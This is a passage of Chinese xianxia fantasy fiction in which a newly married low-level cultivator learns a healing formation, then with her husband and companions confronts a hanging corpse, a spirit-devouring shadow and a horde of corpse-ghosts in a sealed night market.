四周静悄悄的,江千寒还没从屋里出来,池归雪大概也还在睡觉,院子里只有她和温良平两个人。
她忍不住问:“请问师叔,仙界修士……都是什么样的?也像人间修士一样吗?”
温良平望向了远山,过了片刻,才说:“所有人都是肉体凡胎,自然也有七情六欲,贪嗔痴恨。”
云棠愣住了,温良平的回答,和她的想象完全不同。
她看着他身上一尘不染的白衣:“我还以为,大多数仙界修士早已超脱尘世了,像师叔您这样,不沾俗念,不动凡心。”
温良平笑意极淡:“仙界的清规戒律一向严苛,你和江贤侄在人间生活,远比在仙界自在许多。”
云棠注意到他不动声色地把话题岔开了。
她顺口说:“我只是一介平凡散修,怕是这辈子都没机会去仙界了,我听人说过,修为到了第四层以上,才能平安渡过界门。”
温良平看着她,目光平静,半晌,他才开口:“修为可以慢慢精进,心性却是天生注定,在我看来,你的心性,不比仙界任何一个修士差,你与江千寒,十分般配。”
温良平这一番劝告很是诚恳,云棠听完了,心里也放松了不少。她正要道谢,温良平话锋一转:“阵法入门并不难,你若有兴趣,我可以教你几招简单的。”
温良平是琼华仙府的阵修,琼华仙府在仙界五大门派之中,排名第三,也是天下阵修心中的圣地。
他开口说要教导云棠,云棠当然很开心,连忙双手合十:“请师叔赐教。”
温良平又问:“你的生辰八字是什么?”
云棠老老实实回答:“乙卯年,壬午月,乙卯日,丙子时。”
温良平负手而立,语气从容:“阵法之道,分为三大体系,最基础的一种,是天地阵法,以天干地支为纲领,十天干,十二地支,两两相配,共成六十组,便是六十甲子。”
云棠点了点头:“嗯嗯,我知道这个,阳干配阳支,阴干配阴支,一共有六十组……”
温良平笑了笑,继续说道:“你的八字年柱和日柱都是乙卯,乙属木,卯属兔,乙卯纲领之下,最适合你入门的,便是‘百草回生阵’。”
他双手结印,指尖微动,地板上忽然冒出了一层浅淡青光。
云棠低头细看,竟是一丛一丛的草木虚影凭空生长了出来,一只由光线凝成的灵兔藏身于草木之间,左右横跳,看起来真是活泼可爱。
“此阵一成,可治疗同伴伤势,”温良平放下双手,青光也渐渐散去,“虽是入门阵法,却能在关键时刻救人一命。”
云棠做了一个深呼吸,集中注意力,学着温良平方才的手势结印,口中念道:“乙卯,百草回生阵。”
无事发生。
她有些气馁,目光转向另一侧。
温良平一点也不着急,不紧不慢道:“你是初学者,念法诀时,千万不能省略,必须一字一句念全了,让灵力慢慢凝聚,来,再试一次。”
他做了个示范:“口诀是,琼华仙府,天地阵法,天干地支纲领,乙卯,百草回生阵。”
云棠睁
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大了双眼:“可是,我夫君从来没有这样教过我,他都是直接结印的。”
温良平笑了一下:“你夫君是旷世奇才,拜入仙门第一年便连升五层,寻常人的修炼方法对他来说全是累赘,你不要学他,跟着我来念口诀,我教过不少后辈。”
云棠认真点头,重新结印,一字一句念出声:“琼华仙府,天地阵法,天干地支纲领,乙卯,百草回生阵……”
双手指尖略微发热,一缕青光从她掌心浮了起来,如烟似雾,渐渐凝聚,绕着她手指转了一圈又一圈,直到每一圈之间不再出现缝隙。
这时,一只两寸长的灵兔在她掌中显化,竖着一对耳朵,双眼清澈,四爪舒展,满身绒毛上都闪着白光,可爱极了。
云棠高兴得差点叫出来:“师叔!我做到了!谢谢师叔!!”
温良平也笑了:“你很有天赋。”
“大嫂确实聪明。”
这个声音忽然从云棠背后冒了出来。
云棠吓了一跳,回头一看,池归雪正站在几步之外,抱着剑,面无表情。
池归雪盯着云棠指尖上那只灵兔:“温师叔是绍州温家的人,温家世世代代都是阵修,教导过的后辈至少有一千人,大嫂能得到师叔指点,我替大嫂谢过师叔。”
云棠还没回过神:“你今天说话还挺客气的……”
又有另一双手握住了云棠的手腕,云棠抬头,江千寒不知从哪里瞬移过来,指尖搭在她脉搏上,给她渡来许多灵力。
此时此刻,在江千寒助力之下,万千草木清影从她脚下蔓延开来,铺满了玉石地砖,数百只灵兔上下跳跃,在草丛里穿进穿出,甚至还有几只挨近她脚边,窝成一团,似乎把她当成了主人,对她很是亲昵。
空气里弥漫着一股清新气味,像是雨后青草地,干净,湿润,令人心旷神怡。
云棠站在光影之中,感觉自己的听力更敏锐,视力也更清晰,就连心境都比往日更平和了。
江千寒松开手,草木与灵兔同时消失,周围一切归于平静。
他说:“方才那是百草回生阵的全貌,总有一天,你可以自己施展出来。”
云棠还沉浸在学会了一点阵法的喜悦里,恨不得立即扑进江千寒怀里使劲蹭他,不过池归雪和温良平还在旁边,她只好忍住了,轻咳了一声,装出一副平静模样。
她又想到一个问题:“可是,我念法诀要那么久,真遇上危险,会不会来不及呢?”
江千寒没回答,低头看了一眼她的手腕。
云棠立即明白了,他送给她的护身玉镯可以保护她,在护盾之下,她有足够时间念完口诀。
她笑了一声,还想招呼三人进屋去吃早饭,江千寒忽然抬起右手,握住了腰间的剑柄。
“怎么了?”云棠也察觉到了危险。
池归雪一步挡到了她身前:“门外,有血腥气。”
温良平第一个走了出去,推开大门。
朝阳初升,晨光涌进来,云棠绕过池归雪,跟在温良平背后,偷瞟了一眼,呼吸顿时停止了。
这一座大宅门外,数十丈远的地方,一棵繁茂槐树立在路边,枝杈横生,竟有一具尸体倒挂在一条粗壮枝杈上。
绳子勒进了死者脚踝,血从他的头顶往下淌,浸透了发梢,一滴一滴落在地上,聚成了一小滩红泥。
他身上穿着一件青灰色长袍,前襟上绣着一株血骨草,那是万森堂药师的常服。
四周一片寂静,没有守卫,也没有修士,只有一具死尸在风中摆荡。
15.邪祟
江千寒身影一闪,瞬移到了那一棵老槐树之下。
云棠也快步跟了过去,或许是因为她手腕上还戴着护身玉镯,她并不担心自己会遇到什么危险,只是觉得十分疑惑,今天早晨,她正要去万森堂买药,那药师就吊死在她家门前,这是怎么回事呢?
她甚至顾不上害怕,双手拳头紧握着,心里隐隐浮现一种不妙的预感。
“这分明是挑衅。”池归雪冷声道。
云棠轻声问:“我们能不能去报官呢?这个药师,好惨啊……”
那药师的皮肤一片惨白,将近透明,甚至能看见皮肤之下的青色脉络。
他头顶的伤口还在往外渗血,血水流得十分缓慢,他身体里的血液似乎早已被抽干了。
他双眼圆睁,瞳孔放大,映出了一种极端的恐惧,无人知道他在死前看见了什么,他的五官已经完全扭曲了。
他的胸前还贴着一张白纸,纸上没有一个字。
看见白纸的那一瞬间,池归雪脸色一变,但他什么都没说,只把眉头皱得更紧。
温良平叹了一口气,退后一步:“这件事与我们无关,我们不必插手,通知守卫来处理吧。”
温良平右手掐出一道法诀,朝天上一扔,甩出一道灿烂白光。
过了一会儿,三头妖兽从天而降,翅膀掀起一阵狂风,吹散了血腥气。
骑在妖兽背上的守卫翻身落地,为首那人看见尸体,不由得浑身一僵。
“又出事了。”那人低声对同伴说。
他回头时,正好看见江千寒从大宅里走出来,当即双手抱拳:“卑职未能及时巡查此处,竟在神君眼前出了这等事,还请神君恕罪。”
江千寒低声问:“除了这个,还有什么事?”
守卫把腰杆弯得更低:“昨夜子时,夜市里来了一群邪祟,行踪诡秘,手段残忍,已有几十人遇害,卑职追踪了一整夜,至今也没找到一点踪迹。”
另一名守卫开口说:“少爷已经调集了所有人手,加紧排查,请神君放心。”
云棠心想,这些守卫口中所说的“少爷”,大概是商家少爷吧?也就是商灯夜市的主人。
她记得,商家少爷名叫“商羽”,今年也才二十四岁,年纪轻轻,城府极深,近几年来,把商灯夜市打理得井井有条。
那些常年在刀口舔血的魔修,进了商灯夜市的大门,也不敢太过放肆。
在商羽的眼皮子底下,区区几个邪祟又怎么会翻出这么大的风浪?
云棠想不明白。
守卫们手脚麻利地解开了绳索,把尸体裹上一层白布,飞快抬走了。
江千寒转过头,看向池归雪:“你去夜市各个出口看看,有没有可疑的人进出。”
池归雪点了一下头,拎着长剑,从云棠面前一闪而过,身影瞬间消失了。
傍晚时分,天色暗淡,池归雪还没回来。
云棠坐在院子里的一张石桌旁,桌上摆着一杯花茶,一块葱油烧饼,一碗八宝粥,还有一小盘凤尾橘。
这些吃的喝的,全是江千寒从家里带来的,八宝粥也是他今天下午亲手熬成的,色香味俱全。
可惜,云棠现在没什么胃口,只能一小口一小口慢慢啃咬烧饼。
小宝蜷缩在云棠脚边打盹,小青缠在她腕上,叶片垂落,也是一副无精打采的样子。
正门忽然被人撞开了,池归雪大步冲了进来。
他额头上渗出了一层薄汗,发丝也散落了几缕,不像平时那般一丝不苟。
他盯着云棠,直接问:“大嫂,你可有任何不适?”
云棠手里的烧饼差点掉了:“没……没有啊,我正在吃饭。”
云棠认识池归雪也有一段时日了,从没在他脸上见过这样的神色。
他似乎已经压抑到了极点,浑身肌肉紧绷,衣衫也被撑得鼓了起来,勾勒出健壮结实的肩背线条,他的情绪十分急躁,却还没发泄出来。
云棠曾经以为,池归雪是不会着急的,那天他摔断了腿,从三百里之外一瘸一拐走回来,他脸上都没什么表情,今时今日,谁又能把他逼成这样?
恍惚之间,云棠又想起了温良平曾经说过:“所有人都是肉体凡胎,自然也会有爱恨情仇,贪嗔痴恨。”
江千寒正站在云棠身后,他问池归雪:“你查到了什么?”
池归雪抬头望天:“出口没了。”
出口没了?
这是什么意思?
云棠呆住了。
池归雪继续说:“我沿着长街一路走到尽头,路没了,只剩一堵黑墙,魔气极重,摸上去冰冷刺骨,像是铁铸的,却比铁更坚硬,我拔剑劈了几下,根本劈不动。”
他喘了一口气,又说:“我御剑飞了上去,飞了很久,那堵墙太高了,高得看不见顶,我又朝别的方向飞,东南西北全试过了,四面八方全是墙。”
他转过头,目光扫过在场每一个人:“这个商灯夜市,已经变成了一座牢笼,我们都被困住了。”
江千寒沉默片刻,才说:“今日上午,我和小棠去了万森堂,里面的人全死了,我没找到一个活口。”
池归雪快步走过来:“守卫呢?没人管吗?”
江千寒依旧平静:“守卫忙不过来,后来我们又去了广仁堂,也是一样,人全死了。”
云棠点了点头。她从没见过那么多死人,震惊极了,反而变得麻木了,也不是很害怕了,甚至比平时更冷静些。
她讲出了自己今日的见闻:“今天街上的人少了一大半,很多店铺都没开门,那些守卫也不见了。”
温良平的神色更加凝重:“今早卯时之前,我出门散步,街上一切如常,卯时刚过,魔气突然加重,从卯时到天亮,不过短短一个多时辰,竟然有上百人遇害,能在这么短的时间内做出这种事的,绝不是寻常的孤魂野鬼。”
听完这一番话,池归雪闭上了双眼。
群山遮挡了夕阳残影,天色完全黑下来了。
云棠抬头眺望远方,仍然看不见一点炊烟,今日的商灯夜市明显比昨日冷清许多。
恰好一阵凉风吹过,灯影摇晃,云棠不由得打了一个寒颤。
她站起来,躲到了江千寒背后:“如果商灯夜市是针对仙门的陷阱,那商家为什么还要把宅子送给你?作为魔界四大家族之一,他们这样做,难道不是在公然挑衅仙门,甚至自打嘴巴吗?”
江千寒只说:“幕后之人,究竟是谁,目前还没查清楚。”
他捉住了云棠的手腕,又问:“你的晚饭吃完了吗?”
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归雪睁开双眼:“师兄,这都什么时候了,大嫂哪有心情吃饭?”
江千寒仍未放开云棠:“无论什么时候,都要先把自己照顾好,小棠,该吃就吃,该睡就睡,天塌了也有我撑着。”
温良平叹了一口气:“江贤侄说得不错,云姑娘还没辟谷,年纪尚轻,根基也不稳固,这么熬下去,身子也受不住,不如先吃饱,再睡一觉,明日的事,明日再想。”
云棠不好意思反驳长辈,更不想拖累他们,她决定好好照顾自己,不给他们添麻烦。
她在石桌边上坐了下来,把饭菜全吃光了,又跑进了卧房,倒在床上睡了一觉。
睡梦里,精力确实恢复了不少,一直紧绷着的心弦终于放松了,她迷迷糊糊地睁开眼,江千寒不在她身边,天还没亮,此时大约是二更天的光景。
云棠穿好鞋子,推开房门,江千寒正站在走廊上,背对着她,左手握剑,剑未出鞘,已有一股肃杀之气。
四周没有任何声音。
风停了,雨停了,树叶不响了,她连自己的呼吸声都听不见了。
她以为自己聋了。
江千寒转过头,朝她做了一个手势,叫她别动,别出声。
门廊下悬挂着一盏灯笼,静止了似的,纹丝不动,橘红色烛火仍在燃烧,光线里却没有半点暖意。
云棠倾身靠向门框,手扶住了一块沉香木,触感冰凉,心里除了害怕,还有烦躁,究竟是什么妖魔鬼怪?它们潜伏在暗处好几夜了,还不现身,她都等烦了。
她低头看向地面,呼吸一顿,浑身血液也仿佛凝固了。
夜色中的树影像是活了过来,正在一寸一寸向着江千寒缓缓爬行,她不知道它已经爬了多久,但它与江千寒的距离只有不到三尺了。
那是影子鬼吗?
不对,它边缘清晰,不像影子鬼那么模糊。
江千寒拔剑一斩,一道银白剑光直劈地上黑影,地砖被炸得粉碎,那黑影却像是水做的,汩汩流动,淹没了碎裂石块,迅速分散开来,流向四方,几乎铺满了这一条长廊。
影子里泛出一点银光,那是它刚才吸收的剑气。
几息之间,黑影中光芒大涨,像是吸满了江千寒那一剑的力量,影子表面浮起一层冰冷白光,猛然朝着三个方向扑了出去,分别袭击了云棠、池归雪和温良平。
借力打力!云棠的脑海里冒出了这四个字。
她想不到破局的办法,如此狡猾的邪祟,怎样才能消灭呢?
江千寒的剑气越强大,那黑影的反攻就越厉害。
江千寒一把揽住云棠的腰,一跃而起,抱着她直冲夜空,冷风灌满了衣袖,她不敢往下看,只能攥住他的一截腰带:“那个影子……”
“没事,”江千寒轻声道,“别怕。”
云棠不知道江千寒心里有什么打算,她壮着胆子,低头瞄了一眼,恰好看到温良平躲开了剑气袭击,落在了院子正中央。
温良平双手结印,白衣翻飞,周身灵气暴涨,高声道:“大胆邪祟,竟敢在此兴风作浪!”
双掌往前一推,一道惊雷从他掌心轰然炸开,满地梅花再次绽放,一朵一朵从他脚下铺展开来,他的声音回荡在夜空之中:“琼华仙府,天地阵法,甲子,开天辟地阵,驱邪,破魔!”
16.无面判官
温良平掌心向下,又涌出一股灵力,直接注入了法阵之中。
白梅阵纹在地面不断蔓延,紧紧压在黑影之上。
然而,黑影又动了。它上下起伏,剧烈颤动,法阵表面也开始翻涌,如同水浪一般,翻出了一层层波纹,白梅的颜色越来越灰暗,几乎也变成黑色了。
黑影吞吃灵力的速度极快,云棠还没反应过来,最后一朵梅花也被它吞进了深处,再也看不见了。
“完蛋了,”云棠喃喃自语,“它吸收了这个法阵,又要来反攻我们了……”
话音未落,黑影果然变得更加强大,暴涨了几倍厚度,瞬间席卷了这一座豪宅,砖瓦崩裂,沙石横飞,院子里的花草树木都被炸得粉碎。
温良平仗剑撑地,飞到了大门之外。
小宝听见响动,也从屋里飞出来,一头扎进云棠怀里,云棠立即抱住了它。
它毕竟年幼,还没满月,浑身微微颤抖,四只蹄子紧紧扒住云棠的衣袖。
江千寒早已揽住了云棠的腰肢,抱着她飞出了几十丈远,她一手攥住他的腰带,另一只手拢紧小宝,小宝缩成一团,还用自己的尾巴卷住了绒球。
池归雪跟着江千寒,落在了一条石板路上,长叹一声:“这不是一般的邪祟。”
“怎么办呢?”云棠小声说,“它是冲着我们来的,我们想逃出去,必须先把它杀掉吧。”
原本富丽堂皇的大宅已经沦为一片废墟,那黑影正在废墟之中翻搅,搜刮残存的灵力,它的体形仍在膨胀。
江千寒放下云棠,目光扫过四周,不远处有一口水井,井壁是岩石砌成,井水深不见底,他立即挥手出剑,狂暴剑气劈在了井沿上。
水浪喷涌而出,四散漫流。
江千寒挥剑一斩,又把三棵槐树劈成了粉末,木屑落入井水里,水面上浮起一层细碎木渣。
“这是什么意思?”云棠还没看明白。
江千寒用金光结界罩住她,而他自己一脚踏入浑水,剑尖往下一插,剑气随着水流涌向了黑影。
那黑影也从宅门之下的缝隙里钻出来,迅速爬向了江千寒,简直是阴魂不散!云棠屏住了呼吸。
江千寒低声道:“它只能吸收纯净的灵力,不能消化这些杂质。”
云棠定睛一看,江千寒的剑气已然散入每一粒木屑之中,不再连成一片,而是化作无数细小光点,微微闪烁。
“师弟,温前辈,”江千寒又说了一个字,“火。”
池归雪左手握剑,剑身上燃起一道赤红火焰,温良平双手结印,掌心凝聚了一团银白雷火。
三人同时出招。
江千寒、温良平都是沉默不语的,只有池归雪喊了一声:“烈焰,炎爆!”
三道猛火冲入黑影体内,木屑爆燃,炸开火花烈焰,那爆炸的声音比炮弹还响亮,轰隆轰隆,接连不断,云棠也不知道火焰点燃了什么东西,只闻到了一股恶臭气味,从烟尘里散漫开来。
黑影猛然震颤,发出一阵尖锐嘶鸣。
这不像是任何生物能从嗓子里喊出来的声音,实在太刺耳了,哪怕隔着一层结界,云棠都能听见一点余音,不由得打了一个寒颤。
黑影挣扎了片刻,从中间裂开,四周也慢慢塌陷,最终化成了一滩黑水,渗入泥土里,彻底消散了。
温良平转过身来,感叹道:“那黑影能吞噬一切灵力,寻常修士遇到它,只会一味加大攻势,反倒养肥了它,江贤侄却能在瞬息之间看穿它的弱点,借用杂质分散灵力……我修炼阵法多年,还不如你这一念所得。”
江千寒收剑入鞘,没有接话,只淡声道:“此地不宜久留,我们必须尽快离开。”
池归雪皱眉:“不买药了吗?”
云棠急忙道:“命都快没了,还惦记什么药呢?快走吧,我也不想留在这里。”
话一出口,她自己都愣住了,半个月前,被百木门追杀的时候,她都没有这么着急。
夜风轻轻吹过来,穿透了结界,拂在云棠脸上,她才松了一口气,冷汗一点一滴流下来,背后衣衫早已湿透了,她又踮起脚尖,四处张望。
刚才那个黑影虽然本领高强,却没有一丝灵智,哪怕快死了,也只能胡乱挣扎,根本不知道如何变通,一定不是邪祟的本体。
云棠在心里告诫自己,千万不能放松警惕,她要打起精神,跟着江千寒找到出口,无论夜市里藏了多少妖魔鬼怪,她都要活着回家。
大概是感受到了她的忐忑不安,江千寒瞬移过来,伸出左手,一把揽住她的腰肢,把她捞了起来,他左臂托住她双腿,右手仍然握着剑,大步向前走去。
云棠的脸颊一片绯红,就连耳根都烧了起来。
他这样抱着她,就像抱一只小猫似的,毫不费力,可是,池归雪和温良平全都跟在后面,离他们不到三步远,温良平还是他们的长辈!
云棠结结巴巴道:“夫君,我、我自己能走……你放我下来吧……”
江千寒一点也没松手。
池归雪从旁边经过,淡然道:“大嫂不必害羞,此处险象环生,师兄尽力护着你,我和师叔才能放心。”
他还说:“何况大嫂的修为还是第一层,真要跑起来,未必跟得上我们。”
云棠也没办法了:“好吧,但愿我们能快点找到出口。”
小宝从云棠怀里探出一颗脑袋,小青仍然缠在她手腕上,安安静静,叶片紧贴她的皮肤。
他们在街上走了一会儿,云棠忍不住开口:“那些邪祟……到底是什么东西,你们知道吗?还有,今天早晨,树上挂着一具尸体,尸身上贴着一张白纸,为什么纸上没有一个字?”
池归雪停下了脚步,却没说话,他背对着云棠,颈肩线条比平时更僵硬。
江千寒回答道:“上古魔尊座下有四大护法,世人不敢直呼其名,只敢在私下里谈论他们的名号。”
云棠也有点害怕了,用气音问:“什么名号?”
江千寒一句一顿:“浮生镜妖、无面判官、画皮娘子、断魂楼主。”
云棠抬头看着江千寒,他的目光落在前方。
他继续说:“百年前仙魔大战,上古魔尊死在了战场上,四大护法相继陨落,他们生前各有一件法宝,也有一套独门绝招。”
说到这里,他才低下头,对上她的视线:“无面判官,会在死者身上贴一张无字白纸。”
云棠把脸埋进他怀里。
“看见那张纸的人,”江千寒语气平静,“就是无面判官的下一个目标。”
云棠小声呢喃:“可是……可是我们都看见了那张纸……怎么办呢?我们都被盯上了吗?”
江千寒还在往前走:“不过是几个邪祟耍了一点小伎俩,不必放在心上。”
池归雪终于开口了:“无面判官的规矩是,看见白纸的人,十二个时辰之内,必定惨死。”
他换了一只手拿剑:“而且,这十二个时辰里,你越害怕,就会死得越快。”
云棠强迫自己深吸了一口气。
不要害怕,没什么好怕的。
她又问:“无面判官死了一百多年了,怎么会回来呢?”
池归雪答得很快,像是早就推演过无数次:“四大护法之中,断魂楼主能复活同伴,如果他也现世了,那其余三个……”
池归雪没把话说完。
不用说了,云棠已经猜到了。
她张了张嘴:“这个无面判官,究竟有多厉害?还有其他几个呢?浮生镜妖、画皮娘子,听名字就很吓人,肯定不是什么好东西。”
温良平走在后方,轻叹了一口气,出声安慰道:“我们这边也有两位剑修、一位阵修,江贤侄的剑法还是天下第一,我们三人合力之下,至少能有七成胜算。”
云棠点了点头,心里确实安稳了些。
江千寒抱着她走出小巷,拐入一条长街,街道两侧的店铺全都关门了,门板上积了一层薄灰,好像很久没人打扫了,可是昨天晚上,这里还有许多修士,家家户户都在开门迎客。
短短一天之间,夜市怎么就变成了这样?
越往前走,灯光越暗,凉气从地砖缝隙里渗出来,比冬雨更寒冷,云棠也顾不上害羞了,胳膊紧紧缠绕在江千寒的脖颈上,额头也贴住了他的宽阔肩膀。
眼角余光里看不见一丝灯影,她忽然察觉到,所有灯笼都熄灭了。
这个念头一冒出来,她的心脏狂跳不止。
她还记得,刚才池归雪说过,见到那张白纸之后,心里越害怕,人就死得越快。
难道她真要第一个丧命吗?
这么一想,她很不甘心,愤怒反倒战胜了恐惧,她猛然抬起头,扫视四周。
眼前一片漆黑,什么都看不清了,甚至不知道哪里是夜空,哪里是街道,天与地的分界线也是暗淡模糊的。
云棠悄悄问:“我们正在往哪里走啊?”
江千寒的剑鞘上闪出一道白光,照亮了一段路程。他说:“出口已经被魔气堵住了,我打算劈开它,带你出去。”
街边忽然传来一阵清脆笑声。
云棠转过头,看见了两个孩子,一男一女,大概七八岁大,身上穿着短衣长裤,都是素白棉布织成的,手上还系着一条绞丝红绳。
这两个孩子跑在前方,背影一蹦一跳,像是正在玩游戏似的。
这种时候,怎么会有小孩在街上乱跑呢?
江千寒只看了一眼,就认定道:“他们是幻影,不是活人。”
“真奇怪,”云棠歪了一下头,“幻影是鬼吗?”
池归雪插了一句:“幻影是光影化成的幻象,碰不到你,也伤不了你,鬼不一样,鬼有实体。”
那两个小孩已经不见了,笑声也停止了。
云棠还想再问一句,左侧巷口里又钻出来一个人影,正朝着她走过来。
那是一个中年男人,身形强壮,面容粗犷,脸上留着一条刀疤,从左眉横穿到右耳之下。
他浑浊的双眼里充满了血丝,唇边还含着一点凉薄笑意,背上斜插着一把黑铁长刀,腰间挂了一串黄白色符纸,看样子也是一个修士,只是很久没洗过澡了,他的衣襟敞开了大半,露出一片胸膛,皮肤上沾满了泥垢,又黑又脏,浑身一股刺鼻酒气。
他斜步走近,双眼盯紧了云
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棠,咧嘴笑了:“你成亲了吗?好一个娇艳少妇。”
云棠吓得骂了一句:“你有毛病吧?”
江千寒的剑尖已经指到了那人的喉间:“滚。”
温良平也冷了脸:“这位道友,再不收敛,后果自负。”
池归雪没有说话,直接拔剑出鞘。
他们三人都还没有出招。
然而,那个男人却僵住了,像是要给他们演一场戏似的,忽然“哈哈”笑了一声,又后退几步,双眼睁大,七窍之中涌出鲜血,浸润了整张脸,就连刀疤都被血水糊住了。
他摔倒在地上,四肢折断了,骨头刺穿了皮肉,露在外头,他惨叫出声,艰难爬行:“大人饶命,饶命啊!”
云棠吓坏了:“夫君!”
江千寒轻拍了一下她的手臂:“他不是活人,是鬼,已经死过一次。”
池归雪握紧了剑柄:“而且是怨气极重的厉鬼,至少死了十年了。”
那个东西还在爬行,身躯紧贴地面,拖着断掉的四肢,一寸一寸蠕动过来。
“好可怕的厉鬼!”云棠倒抽一口凉气,“装出血淋淋的样子,故意吓唬我们!”
江千寒一道剑风劈过去,厉鬼炸成了血雾,瞬间消散了。
云棠以为一切已经结束了。
眨眼之间,远处巷口里,那个男人的身影又出现了,依旧背负长刀,满身酒气,斜步晃荡过来。
云棠忽然想起来了,昨晚在夜市街头,她亲眼看过一个卖艺人当众把自己砍成两截,内脏都快掉出来了,观众还在鼓掌,过了片刻,那个卖艺人又把身体拼好,重新站了起来。
当时江千寒告诉她,那是魔修炼化的鬼魂,哪怕身体碎裂了,也能再度复原,要想杀死它,必须先让它魂飞魄散,再念咒超度它。
“这个也是被魔修操控的鬼魂吗?”云棠盯着那一道身影。
江千寒方才那一剑,劈得干净利落,按理说,鬼魂应该魂飞魄散了,可是江千寒没有超度它,所以它又回来了。
江千寒沉声道:“这种鬼魂还有一个名字,叫‘尸鬼’,此处魔气太浓,它比寻常的尸鬼更难杀。”
云棠还没回话,附近所有巷子里,陆陆续续都走出来一些人,不,它们不是人,是鬼怪,或者说,都是尸鬼。
至少有上千具尸体,从暗巷中涌出来,有男有女,有老有少,生前全是修士,死后也握着刀剑,一步一步向着他们合围过来。
池归雪额头上暴起青筋,长剑横在胸前:“呵,商家炼制了这么多尸鬼,就是为了猎杀仙门弟子。”
云棠急忙说:“可是仙界和魔界签订了契约,商家是做生意的,最怕打仗,绝对不敢这样胡来的!”
池归雪没看她,只说了一句:“大嫂,小心。”
温良平挥动衣袖,地上浮起银白色阵纹,亮了一瞬,又暗淡下去,消融在夜色里。
“怎么回事?”云棠又问了一声。
温良平第一次拔出了九环剑:“空气里全是魔气,仙界阵法不能在这里运转。”
尸鬼已经扑过来了。
江千寒一剑狂斩,剑气所过之处,无数尸鬼灰飞烟灭,连一根发丝都没留下,然而尸鬼的数量一点都没减少,仿佛是无穷无尽的,不断从四面八方围上来。
杀不完,根本杀不完!
云棠的脑海里一片空白,也不敢再说话了。她始终记得,自己不能害怕,更不能拖累江千寒,她故意让自己处于一种麻木的状态,目光空洞,浑身紧绷,比尸鬼还僵硬。
“师兄,这样下去不是办法!!”池归雪怒吼道。
江千寒低声念了一句超度咒语:“度化冤魂,消解业障,宿命轮回,万法皆空。”
剑身上荡开金光,直射出去,长约百丈,照得天地之间光华闪烁,天边甚至传来一阵梵音,浅吟低唱,压制了万千噪音,随着梵音渐渐淡去,少数怨气较轻的尸鬼在金光中化作了烟尘,随风散开了。
可惜,大部分尸鬼还没消退,仍然举着刀剑,疯狂涌来。
池归雪挥剑猛砍,高声喊道:“我从没见过这样的尸鬼!怨气这么重!!除非是死后遭受折磨几十年,否则绝不可能有这么重的怨气!!”
云棠大声问:“怨气不重的,就能直接杀掉吗?”
江千寒左手抱着云棠,右手仍在挥剑,剑下划出无数银弧,冲开一条血路:“这些尸鬼身上的怨气至少积累了二十年,不是一道咒语能化解的。”
江千寒护着云棠走在中间,温良平在前方开路,池归雪负责断后。
云棠回头看了一眼池归雪,血水已经浸透了他的左袖,从臂膀一直淌到指尖,滴在地上。他的肩膀上有一道伤口,伤得极深,皮肉翻开了,隐约能看见白骨。
池归雪又劈出一剑,只喊了两个字:“快走!”
往哪里走呢?
现在又能逃到哪里去呢?
云棠咬住了自己的嘴唇。
他们今晚真的会死在这里吗?
池归雪已经受伤了,江千寒还没使出全力,不知道是不是在等待无面判官现身?
难道,无面判官真的复活了吗?
17.众生相
云棠闭上了眼睛,耳朵里全是风声。
她不知道江千寒抱着她跑了多久,只觉得头顶上亮起了一点灯光。
她睁开眼,几盏残破灯笼漂浮在半空中,四周还是一片寂静,但他们已经来到了闹市区,街道也宽敞了许多。
她仔细一看,周围所有店铺都关门了,除了他们之外,街上没有一个行人,也没有一条暗巷,视野一片开阔。
江千寒把云棠放到了池归雪身边,单手一挥,招来一道金光结界,又把他们二人罩在了里面。
下一瞬,他凌空一跃,转身斩出一片银白剑光:“一剑,破万法。”
那光芒分成了两个长条,一左一右,首尾相连,结成一个圆圈,封住了前后左右每一处方位。
尸鬼又冲了上来,碰到剑光,立即化为烟灰,洒落在地上。
强烈的剑气似乎抑制了尸鬼重生,先前那些尸鬼被劈碎之后,几乎能立即复原,现在却慢了许多,地砖上积聚了厚厚一层灰尘,过了好一会儿,灰尘才开始蠕动,拼凑出一具单薄躯壳,勉强能站立起来,还没走出两步,又被剑光烧成了飞烟。
尸鬼源源不断,剑光也没有半分衰竭,依旧环绕在街道四周,持续燃烧。
云棠站在结界里,心跳得飞快,忍不住问:“他能撑多久?”
池归雪撕开了一块衣袖,正在给自己肩头的伤口敷药,动作匆忙又粗暴,但他连眉头都没皱一下:“不好说,这里的魔气太过浓重,专门克制仙修,师兄本事再大,也只能发挥出十分之七。”
云棠低头看着怀里的小宝,它在她臂弯里打了个滚,抱紧了绒球,睁着一双明亮的金眸,安安静静与她对视,显然没有任何不适。
“小宝怎么不受影响?”云棠又问。
池归雪把药粉按进伤口:“麒麟是仙界神兽,也受到三界庇佑,对它来说,空气和魔气没什么区别。”
听完那一句话,云棠怔了一怔。
她猛然抬起头:“等等!我也只是个凡人散修,修为还在第一层,我吸了这么久的魔气,为什么一点感觉都没有?!”
池归雪看了她片刻,收回目光:“你自己都不知道,我怎么会知道。”
云棠不敢告诉池归雪,她现在只是心里紧张,身体却没有一丝不适,甚至……甚至还有些舒服,像是回到了一个很熟悉的地方,浓重魔气渗入她的肌肤,送来丝丝暖意,竟然像是在滋养她。
这又是为什么呢?
她不敢细想。
正当她出神之时,地上灰尘越来越厚,尸鬼已经减少了将近一半。
江千寒剑势一转,剑光变了颜色,从银白转为暗红,他低声念道:“清音寺,六道轮回,无间地狱,修罗血海,宿命回环。”
他才刚念完口诀,地上燃起了熊熊大火,烧红了半边天空,无数鬼影在其中翻滚穿梭,像极了十八层炼狱。
云棠还站在结界之中,心里却也冒出一股戾气,双手握成了拳头,脑海里闪过一个念头……她想拔剑杀人。
她被自己吓了一跳,连忙咬住舌尖,稍微有点痛,她立即清醒了过来。
再看那些尸鬼,已经疯了。
它们转过身,挥动刀剑,劈向了同伴,甚至还会砍杀自己,再也没有敌我之分。
哪怕重生归来,它们也只会继续劈砍同伴,反复重演之前的动作。
云棠连忙问池归雪:“这是什么招式?”
池归雪单手抱剑:“清音寺是仙界五大门派之一,也是禅修的地盘,师兄曾经修炼过禅修心法,刚才那一招,就是禅修的绝招。”
他详细解释:“师兄融合了‘无间地狱’、‘修罗血海’和‘宿命回环’这三招,能激发所有生灵内心深处的杀意,让它们自相残杀,而且,每一次杀死对方之后,双方都会回到死前开始动手的那一时刻,重复之前的命运。”
云棠还是不明白:“听上去很厉害,可是,为什么拖到现在才用呢?”
池归雪抬头望天:“这一招的根基是‘六道轮回’,需要借用亡魂之气来催动,尸鬼减少了一半,这个法阵才能立得起来。”
原来是这样啊。
云棠点了点头。
虽然心里还是很紧张,至少她学到了不少东西,这一趟不算白来了。
